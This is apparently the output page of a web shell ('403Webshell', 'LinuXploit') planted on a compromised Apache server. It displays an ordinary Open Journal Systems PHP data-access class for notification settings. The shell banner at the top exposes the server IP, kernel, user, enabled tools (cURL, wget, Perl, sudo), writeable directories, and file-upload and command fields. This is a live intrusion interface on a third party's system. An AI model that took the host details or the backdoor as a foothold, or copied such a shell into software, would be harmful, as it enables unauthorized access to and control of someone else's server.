403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/lib/pkp/classes/notification/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/lib/pkp/classes/notification/NotificationSettingsDAO.inc.php
<?php

/**
 * @file classes/notification/NotificationSettingsDAO.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class NotificationSettingsDAO
 * @ingroup notification
 * @see Notification
 *
 * @brief Operations for retrieving and modifying Notification metadata.
 */


import('classes.notification.Notification');

class NotificationSettingsDAO extends DAO {

	/**
	 * Update a notification's metadata
	 * @param $notificationId int
	 * @return $params array
	 */
	function getNotificationSettings($notificationId) {
		$result = $this->retrieve(
			'SELECT * FROM notification_settings WHERE notification_id = ?',
			[(int) $notificationId]
		);

		$params = [];
		foreach ($result as $row) {
			$name = $row->setting_name;
			$value = $this->convertFromDB($row->setting_value, $row->setting_type);
			$locale = $row->locale;

			if ($locale == '') $params[$name] = $value;
			else $params[$name][$locale] = $value;
		}
		return $params;
	}

	/**
	 * Store a notification's metadata
	 * @param $notificationId int
	 * @param $name string
	 * @param $value string
	 * @param $isLocalized boolean optional
	 * @param $type string optional
	 * @param $params array
	 */
	function updateNotificationSetting($notificationId, $name, $value, $isLocalized = false, $type = null) {
		$keyFields = array('setting_name', 'locale', 'notification_id');
		if (!$isLocalized) {
			$value = $this->convertToDB($value, $type);
			$this->replace('notification_settings',
				array(
					'notification_id' => (int) $notificationId,
					'setting_name' => $name,
					'setting_value' => $value,
					'setting_type' => $type,
					'locale' => ''
				),
				$keyFields
			);
		} else {
			if (is_array($value)) foreach ($value as $locale => $localeValue) {
				$this->update('DELETE FROM notification_settings WHERE notification_id = ? AND setting_name = ? AND locale = ?', array($notificationId, $name, $locale));
				if (empty($localeValue)) continue;
				$type = null;
				$this->update('INSERT INTO notification_settings
					(notification_id, setting_name, setting_value, setting_type, locale)
					VALUES (?, ?, ?, ?, ?)',
					array(
						(int) $notificationId,
						$name, $this->convertToDB($localeValue, $type),
						$type,
						$locale
					)
				);
			}
		}
	}

	/**
	 * Delete all settings for a notification
	 * @param $notificationId
	 */
	function deleteSettingsByNotificationId($notificationId) {
		return $this->update('DELETE FROM notification_settings WHERE notification_id = ?', [(int) $notificationId]);
	}
}



Youez - 2016 - github.com/yon3zu
LinuXploit